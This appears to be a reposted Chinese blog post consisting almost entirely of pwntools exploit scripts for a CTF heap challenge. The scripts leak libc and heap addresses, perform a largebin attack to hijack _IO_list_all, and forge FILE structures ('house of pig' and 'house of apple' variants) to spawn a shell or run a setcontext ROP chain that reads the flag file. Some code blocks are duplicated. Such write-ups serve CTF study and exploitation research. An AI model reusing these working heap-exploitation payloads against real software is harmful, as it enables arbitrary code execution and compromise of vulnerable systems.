def getshell_by_str_jumps_finish_when_exit(self, _IO_str_jumps_addr:int, system_addr:int, bin_sh_addr:int):
"""Execute system("/bin/sh") through fake IO_FILE struct, and the version of libc should be between 2.24 and 2.29.
Usually, you have hijacked _IO_list_all, and will call _IO_flush_all_lockp by exit or other function.
Args:
_IO_str_jumps_addr (int): Addr of _IO_str_jumps
system_addr (int): Addr of system
bin_sh_addr (int): Addr of the string: /bin/sh
Returns:
bytes: payload
"""
assert context.bits == 64, "only support amd64!"
self.flags &= ~1
self._IO_read_ptr = 0x61
self.unknown2 = 0
self._IO_write_base = 0
self._IO_write_ptr = 0x1
self._IO_buf_base = bin_sh_addr
self.vtable = _IO_str_jumps_addr - 8
return self.__bytes__() + pack(0, 64) + pack(system_addr, 64)
def house_of_pig_exec_shellcode(self, fp_heap_addr:int, gadget_addr:int, str_jumps_addr:int,
setcontext_off_addr:int, mprotect_addr:int, shellcode: str or bytes, lock:int=0):
"""House of pig to exec shellcode with setcontext.
You should fill tcache_perthread_struct[0x400] with '__free_hook - 0x1c0' addr.
Args:
fp_heap_addr (int): The heap addr that replace original _IO_list_all or chain
gadget_addr (int): Gadget addr for 'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]'
str_jumps_addr (int): Addr of _IO_str_jumps
setcontext_off_addr (int): Addr of setcontext and add offset, which is often 61
mprotect_addr (int): Addr of mprotect
shellcode ([type]): The shellcode you wanner execute
lock (int, optional): lock value if needed. Defaults to 0.
Returns:
bytes: payload
"""
assert context.bits == 64, "only support amd64!"
self.flags = 0xfbad2800
self._IO_write_base = 0
self._IO_write_ptr = 0xffffffffffffff
self.unknown2 = 0
self._lock = lock
self.vtable = str_jumps_addr
self._IO_buf_base = fp_heap_addr + 0x110
self._IO_buf_end = fp_heap_addr +0x110 + 0x1c8
payload = flat({
0:self.__bytes__(),
0x100:{
0x8: fp_heap_addr + 0x110,
0x20: setcontext_off_addr,
0xa0: fp_heap_addr + 0x210,
0xa8: mprotect_addr,
0x70: 0x2000,
0x68: (fp_heap_addr + 0x110)&~0xfff,
0x88: 7,
0x100: fp_heap_addr + 0x310,
0x1c0: gadget_addr,
0x200: shellcode
}
})
return payload
def payload_replace(payload: str or bytes, rpdict:dict=None, filler="x00"):
assert isinstance(payload, (str, bytes, int)), "wrong payload!"
assert context.bits in (32, 64), "wrong context.bits!"
assert len(filler) == 1, "wrong filler!"
output = list(payload) if isinstance(payload, bytes) else list(payload.encode())
if isinstance(filler, str):
filler = filler.encode()
for off, data in rpdict.items():
assert isinstance(off, int), "wrong off in rpdict!"
assert isinstance(data, (int, bytes, str)), "wrong data: {}!".format(data)
if isinstance(data, str):
data = data.encode()
elif isinstance(data, int):
data = pack(data, word_size=context.bits, endianness=context.endian)
distance = len(output) - len(data)
if off > distance:
output.extend([int.from_bytes(filler, "little")]*(off - distance))
for i, d in enumerate(data):
output[off+i] = d
return bytes(output)
#---------------------PWN SPACE----------------------
def menu(c):
sla('>> ', str(c))
def add(size):
menu(1)
if size>0x70 and size<0x14f:
t = 1
elif size>=0x14f and size<0x24f:
t = 2
else:
t = 3
sla('3. Gf3~', str(t))
chunk_type = {
1: 'input size of Gf1:', #0x7f-0x14f
2: 'input size of Gf2:', #0x14f-0x24f
3:'input size of Gf3:' #0x24f-0x4ff
}
sla(chunk_type[t], str(size))
def delete(index):
menu(2)
sla('gift you want to give to someone:', str(index))
ru('send success!')
def show(index):
menu(3)
sla('input the idx of gift:', str(index))
def edit(index, content, t = 1):
menu(4)
sla('input the idx of gift:', str(index))
chunk_type = {
1:'leave your blessing of Gf1:n',
2:'leave your blessing of Gf2:n',
3:'leave your blessing of Gf3:n',
}
sa(chunk_type[t], content)
def bye():
menu(5)
add(0x418) #0
add(0x418) #1
add(0x428) #2
add(0x418) #3
add(0x418) #4
add(0x80) #5
#--------------------leak libc heap-------------------------
delete(2)
show(2)
main_offset = 96 + 0x10 + libc.sym.__malloc_hook
main_arena = uu64(ru(p8(0x7f))[-6:])
libc_base = main_arena - main_offset
add(0x450) #6
edit(2, 'a'*0x11, 3)
show(2)
ru('a'*0x10)
chunk2_addr = uu64(rcn(6)) - 0x61
heapbase = chunk2_addr - 0x12700
ss('heapbase', heapbase)
ss('chunk2', chunk2_addr)
#attach()
#gadgets
IO_helper_jumps = libc_base + 0x1e8960#libc.sym._IO_helper_jumps
IO_file_jumps = libc_base + 0x1e94a0# libc.sym._IO_file_jumps #0x1f4560
IO_cookie_jumps = libc_base + 0x1e8a20
setcontext_addr = libc_base + libc.sym.setcontext #0x50bfd # 0x50bc0
pointer_chk_guard_local = libc_base - 0x16b090#0x2890#0x234c10 + 0x2000
system_addr = libc_base + libc.sym.system
printf_arginfo_table = libc_base + 0x1ed7b0
printf_function_table =libc_base + 0x1f1318
IO_list_all = libc_base + 0x1ed5a0
stderr = libc_base + 0x1ed5c0
IO_wfile_jumps = libc_base + libc.sym._IO_wfile_jumps
IO_wstrn_jumps = libc_base + 0x1e8c60#libc.sym._IO_wstrn_jumps
IO_wfile_jumps_mmap = libc_base + 0x138ea0
IO_wstr_jumps = libc_base + 0x1e8d20#libc.sym_IO_wstr_jumps
ss('libc_base ', libc_base)
ss('IO_wfile_jumps', IO_wfile_jumps)
ss('IO_list_all', IO_list_all)
#chunks
chunk0 = 0x11ec0 + heapbase
chunk1 = 0x122e0 + heapbase
chunk2 = 0x12700 + heapbase
chunk3 = 0x12f50 + heapbase
chunk4 = 0x12f50 + heapbase
magic_chunk = heapbase + 0x11eb0
#largebin attack
delete(0)
edit(2, p64(main_arena)*2 + p64(chunk2) + p64(magic_chunk-0x20) ,3)
#attach()
add(0x450) #7
dbg('attack 1')
#hijack IO_list_all
add(0x418) #8
delete(4)
edit(2, p64(main_arena)*2 + p64(chunk2) + p64(IO_list_all-0x20),3)
dbg('attack 2')
add(0x450) #9
dbg('iolistall')
io_file = IO_FILE_plus_struct()
io_file.flags = 0
io_file._IO_read_ptr = 0
io_file._IO_read_end = 0x6a1
io_file._IO_read_base = 1
io_file.vtable = IO_wstr_jumps+0x28
io_file._lock = chunk4
io_file._IO_write_ptr = 1
io_file._IO_write_end = 2
io_file._IO_write_base = 0
io_file._mode = 1
io_file._wide_data = chunk4 + 0xe0
payload = flat({
0x0: bytes(io_file)[0x10:],
0xd0:{
0x0: [0,0, 0 ], #read_ptr read_end read_base
0x18: 0,
0x20: [1, 0],
0x30: [0,0], #wide_data->_IO_buf_base = 0 not exec free
0x40:0,
0xe0: chunk4 + 0x200,
},
0x1f0:{
0x18:libc_base + libc.sym.puts#system_addr
}
})
edit(4, payload, 3)
edit(3, flat({0x410: 0x800}),3) #io_file->flags=0x800
#attach()
bye()
#--------INTERACTIVE----------------------------
#get_flag()
p.interactive()
当然还可以用apple3:
#!/usr/bin/env python3
#coding:utf-8
from pwn import *
from LibcSearcher import *
#--------------------prepare------------------------
binary = './pwn'
libc_so = ""
host = "node4.buuoj.cn"
port = 10001
#---------------------------------------------------
elf = ELF(binary)
libc = ELF(libc_so) if libc_so else elf.libc
context(arch = elf.arch, os = 'linux')
if args.G:
context.log_level = 'debug'
p = remote(host, port) if args.R else process(binary)
def attach(msg=''):
context(log_level = 'debug', terminal=["tmux","splitw","-v"])
gdb.attach(p, gdbscript=f'{msg}')
dbg()
def ROL(data, key):
tmp = bin(data)[2:].rjust(64, '0')
return int(tmp[key:]+tmp[:key], 2)
#---------------------short command-------------------
dbg = lambda msg='debug': info(f'[*]{msg}') if args.R else input(f"pid: {pidof(p)[0]} =>{msg}")
checkstr = lambda data:data if isinstance(data, bytes) else data.encode()
sl = lambda data: p.sendline(checkstr(data))
sd = lambda data: p.send(checkstr(data))
sa = lambda delimit, data: p.sendafter(checkstr(delimit), checkstr(data))
sla = lambda delimit, data: p.sendlineafter(checkstr(delimit), checkstr(data))
ru = lambda delimit: p.recvuntil(checkstr(delimit))
rl = lambda : p.recvline()
rcn = lambda number=4096: p.recv(number)
ss = lambda delimit, data: success(f'{delimit}: {data:#x}')
uu64 = lambda data:u64(checkstr(data).ljust(8, p8(0)))
uu32 = lambda data:u32(checkstr(data).ljust(4, p8(0)))
str_bin_sh = next(libc.search(b'/bin/shx00'))
get_flag = lambda : sl(f"cat {'flag' if args.R else '/tmp/flag'}")
__all__ = [
"IO_FILE_plus_struct",
"payload_replace"
]
class IO_FILE_plus_struct(FileStructure):
def __init__(self, null=0):
FileStructure.__init__(self, null)
def __setattr__(self,item,value):
if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:
object.__setattr__(self,item,value)
else:
error("Unknown variable %r" % item)
def __getattr__(self,item):
if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:
return object.__getattribute__(self,item)
error("Unknown variable %r" % item)
def __str__(self):
return str(self.__bytes__())[2:-1]
@property
def _mode(self):
off = 320
if context.bits == 64:
off = 112
return (self.unknown2 >> off) & 0xffffffff
@_mode.setter
def _mode(self, value:int):
assert value <= 0xffffffff and value >= 0, "value error: {}".format(hex(value))
off = 320
if context.bits == 64:
off = 112
self.unknown2 |= (value << off)
@staticmethod
def show_struct(arch="amd64"):
if arch not in ("amd64", "i386"):
error("arch error, noly i386 and amd64 supported!")
print("arch :", arch)
_IO_FILE_plus_struct_map = {
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
},
'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}
for k, v in _IO_FILE_plus_struct_map[arch].items():
print(" {} : {} ".format(hex(k), v))
def getshell_from_IO_puts_by_stdout_libc_2_23(self, stdout_store_addr:int, system_addr:int, lock_addr:int):
"""Exec shell by IO_puts by _IO_2_1_stdout_ in libc-2.23.so
Args:
stdout_store_addr (int): The address stored in stdout. Probably is libc.sym['_IO_2_1_stdout_'].
system_addr (int): System address.
lock_addr (int): Lock address.
Returns:
bytes: payload.
"""
self.flags = 0x68732f6e69622f
self._IO_read_ptr = 0x61
self._IO_save_base = system_addr
self._lock = lock_addr
self.vtable = stdout_store_addr + 0x10
return self.__bytes__()
# only support amd64
def getshell_by_str_jumps_finish_when_exit(self, _IO_str_jumps_addr:int, system_addr:int, bin_sh_addr:int):
"""Execute system("/bin/sh") through fake IO_FILE struct, and the version of libc should be between 2.24 and 2.29.
Usually, you have hijacked _IO_list_all, and will call _IO_flush_all_lockp by exit or other function.
Args:
_IO_str_jumps_addr (int): Addr of _IO_str_jumps
system_addr (int): Addr of system
bin_sh_addr (int): Addr of the string: /bin/sh
Returns:
bytes: payload
"""
assert context.bits == 64, "only support amd64!"
self.flags &= ~1
self._IO_read_ptr = 0x61
self.unknown2 = 0
self._IO_write_base = 0
self._IO_write_ptr = 0x1
self._IO_buf_base = bin_sh_addr
self.vtable = _IO_str_jumps_addr - 8
return self.__bytes__() + pack(0, 64) + pack(system_addr, 64)
def house_of_pig_exec_shellcode(self, fp_heap_addr:int, gadget_addr:int, str_jumps_addr:int,
setcontext_off_addr:int, mprotect_addr:int, shellcode: str or bytes, lock:int=0):
"""House of pig to exec shellcode with setcontext.
You should fill tcache_perthread_struct[0x400] with '__free_hook - 0x1c0' addr.
Args:
fp_heap_addr (int): The heap addr that replace original _IO_list_all or chain
gadget_addr (int): Gadget addr for 'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]'
str_jumps_addr (int): Addr of _IO_str_jumps
setcontext_off_addr (int): Addr of setcontext and add offset, which is often 61
mprotect_addr (int): Addr of mprotect
shellcode ([type]): The shellcode you wanner execute
lock (int, optional): lock value if needed. Defaults to 0.
Returns:
bytes: payload
"""
assert context.bits == 64, "only support amd64!"
self.flags = 0xfbad2800
self._IO_write_base = 0
self._IO_write_ptr = 0xffffffffffffff
self.unknown2 = 0
self._lock = lock
self.vtable = str_jumps_addr
self._IO_buf_base = fp_heap_addr + 0x110
self._IO_buf_end = fp_heap_addr +0x110 + 0x1c8
payload = flat({
0:self.__bytes__(),
0x100:{
0x8: fp_heap_addr + 0x110,
0x20: setcontext_off_addr,
0xa0: fp_heap_addr + 0x210,
0xa8: mprotect_addr,
0x70: 0x2000,
0x68: (fp_heap_addr + 0x110)&~0xfff,
0x88: 7,
0x100: fp_heap_addr + 0x310,
0x1c0: gadget_addr,
0x200: shellcode
}
})
return payload
def payload_replace(payload: str or bytes, rpdict:dict=None, filler="x00"):
assert isinstance(payload, (str, bytes, int)), "wrong payload!"
assert context.bits in (32, 64), "wrong context.bits!"
assert len(filler) == 1, "wrong filler!"
output = list(payload) if isinstance(payload, bytes) else list(payload.encode())
if isinstance(filler, str):
filler = filler.encode()
for off, data in rpdict.items():
assert isinstance(off, int), "wrong off in rpdict!"
assert isinstance(data, (int, bytes, str)), "wrong data: {}!".format(data)
if isinstance(data, str):
data = data.encode()
elif isinstance(data, int):
data = pack(data, word_size=context.bits, endianness=context.endian)
distance = len(output) - len(data)
if off > distance:
output.extend([int.from_bytes(filler, "little")]*(off - distance))
for i, d in enumerate(data):
output[off+i] = d
return bytes(output)
#---------------------PWN SPACE----------------------
def menu(c):
sla('>> ', str(c))
def add(size):
menu(1)
if size>0x70 and size<0x14f:
t = 1
elif size>=0x14f and size<0x24f:
t = 2
else:
t = 3
sla('3. Gf3~', str(t))
chunk_type = {
1: 'input size of Gf1:', #0x7f-0x14f
2: 'input size of Gf2:', #0x14f-0x24f
3:'input size of Gf3:' #0x24f-0x4ff
}
sla(chunk_type[t], str(size))
def delete(index):
menu(2)
sla('gift you want to give to someone:', str(index))
ru('send success!')
def show(index):
menu(3)
sla('input the idx of gift:', str(index))
def edit(index, content, t = 1):
menu(4)
sla('input the idx of gift:', str(index))
chunk_type = {
1:'leave your blessing of Gf1:n',
2:'leave your blessing of Gf2:n',
3:'leave your blessing of Gf3:n',
}
sa(chunk_type[t], content)
def bye():
menu(5)
attach()
add(0x418) #0
add(0x418) #1
add(0x428) #2
add(0x418) #3
add(0x418) #4
add(0x80) #5
dbg()
#--------------------leak libc heap-------------------------
delete(2)
show(2)
main_offset = 96 + 0x10 + libc.sym.__malloc_hook
main_arena = uu64(ru(p8(0x7f))[-6:])
libc_base = main_arena - main_offset
dbg()
add(0x450) #6
edit(2, 'a'*0x11, 3)
show(2)
ru('a'*0x10)
chunk2_addr = uu64(rcn(6)) - 0x61
heapbase = chunk2_addr - 0x12700
ss('heapbase', heapbase)
ss('chunk2', chunk2_addr)
dbg()
#gadgets
IO_helper_jumps = libc_base + 0x1e8960#libc.sym._IO_helper_jumps
IO_file_jumps = libc_base + 0x1e94a0# libc.sym._IO_file_jumps #0x1f4560
IO_cookie_jumps = libc_base + 0x1e8a20
setcontext_addr = libc_base + libc.sym.setcontext #0x50bfd # 0x50bc0
pointer_chk_guard_local = libc_base - 0x16b090#0x2890#0x234c10 + 0x2000
system_addr = libc_base + libc.sym.system
#husk
printf_arginfo_table = libc_base + 0x1ed7b0
printf_function_table =libc_base + 0x1f1318
IO_list_all = libc_base + 0x1ed5a0
stderr = libc_base + 0x1ed5c0
IO_wfile_jumps = libc_base + libc.sym._IO_wfile_jumps
IO_wstrn_jumps = libc_base + 0x1e8c60#libc.sym._IO_wstrn_jumps
IO_wfile_jumps_mmap = libc_base + 0x138ea0
IO_wstr_jumps = libc_base + 0x1e8d20#libc.sym_IO_wstr_jumps
ss('libc_base ', libc_base)
ss('IO_wfile_jumps', IO_wfile_jumps)
ss('IO_list_all', IO_list_all)
dbg()
#chunks
chunk0 = 0x11ec0 + heapbase
chunk1 = 0x122e0 + heapbase
chunk2 = 0x12700 + heapbase
chunk3 = 0x12f50 + heapbase
chunk4 = 0x12f50 + heapbase
magic_chunk = heapbase + 0x11eb0
#largebin attack
delete(0)
edit(2, p64(main_arena)*2 + p64(chunk2) + p64(magic_chunk-0x20) ,3)
#attach()
add(0x450) #7
dbg('attack 1')
#hijack IO_list_all
add(0x418) #8
delete(4)
edit(2, p64(main_arena)*2 + p64(chunk2) + p64(IO_list_all-0x20),3)
dbg('attack 2')
add(0x450) #9
dbg('iolistall')
io_file = IO_FILE_plus_struct()
io_file._IO_read_end = 0x6a1
io_file.vtable = IO_wfile_jumps+0x08
io_file._lock = chunk4
io_file._mode = 1
io_file._codecvt = chunk4 + 0x110
io_file._wide_data = chunk4 + 0xe0
#gadgets
pop_rdi_ret = libc_base + next(libc.search(asm('pop rdinret')))
pop_rsi_ret = libc_base + next(libc.search(asm('pop rsinret')))
pop_rdx_ret = libc_base + next(libc.search(asm('pop rdxnret')))
pop_rax_ret = libc_base + next(libc.search(asm('pop raxnret')))
syscall_ret = libc_base + next(libc.search(asm('syscallnret')))
gadgets = asm('mov rdx, qword ptr [rdi+8]nmov qword ptr [rsp],raxncall qword ptr [rdx+0x20]')
gadgets_addr = libc_base + next(libc.search(gadgets))
fake_frame_addr = chunk4 + 0x210
fake_frame = SigreturnFrame()
fake_frame.rdi = fake_frame_addr+0xf8 #指向flag字符串,作为sys_open参数
fake_frame.rsi = 0
fake_frame.rdx = 0x100
fake_frame.rsp = fake_frame_addr + 0xf8 + 0x10 #指向orw
fake_frame.rip = pop_rax_ret + 1 #赋值给rcx,#0x7f77aed21ce6 <setcontext+294>: mov rcx,QWORD PTR [rdx+0xa8]
setcontext = libc_base + libc.sym.setcontext
orw = [
pop_rax_ret, #sys_open('flag', 0)
2,
syscall_ret,
pop_rax_ret, #sys_read(3, buf, 0x100)
0,
pop_rdi_ret,
3,
pop_rsi_ret,
fake_frame_addr + 0x100,
syscall_ret,
pop_rax_ret, #sys_write(1, buf, 0x100)
1,
pop_rdi_ret,
1,
pop_rsi_ret,
fake_frame_addr + 0x100,
syscall_ret
]
payload = flat({
0x0: bytes(io_file)[0x10:],
0xd0:{ #A
0x0: [0xffffffffffffffff, 0], #rsi
0x18: [0,1],
},
0x100:{ #B
0x0: chunk4+0x160, #rdi->C
},
0x150: { #C
0x0:[0, chunk4 + 0x210], #rdi+8 -> rdx
0x28: gadgets_addr,
},
0x200: {
0x0: [0,fake_frame_addr, b'a'*0x10],
0x20:[setcontext + 61, bytes(fake_frame).ljust(0xf8, b'x00')[0x28:],
b'flag'.ljust(0x10,b'x00'),
orw,
]
}
})
edit(4, payload, 3)
edit(3, flat({0x410: (~(4|0x10))&0xffffffffffffffff}),3) #io_file->flags=0x800
dbg()
#attach()
bye()
#--------INTERACTIVE----------------------------
#get_flag()
p.interactive()
原文始发于微信公众号(由由学习吧):house of lalalalala
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论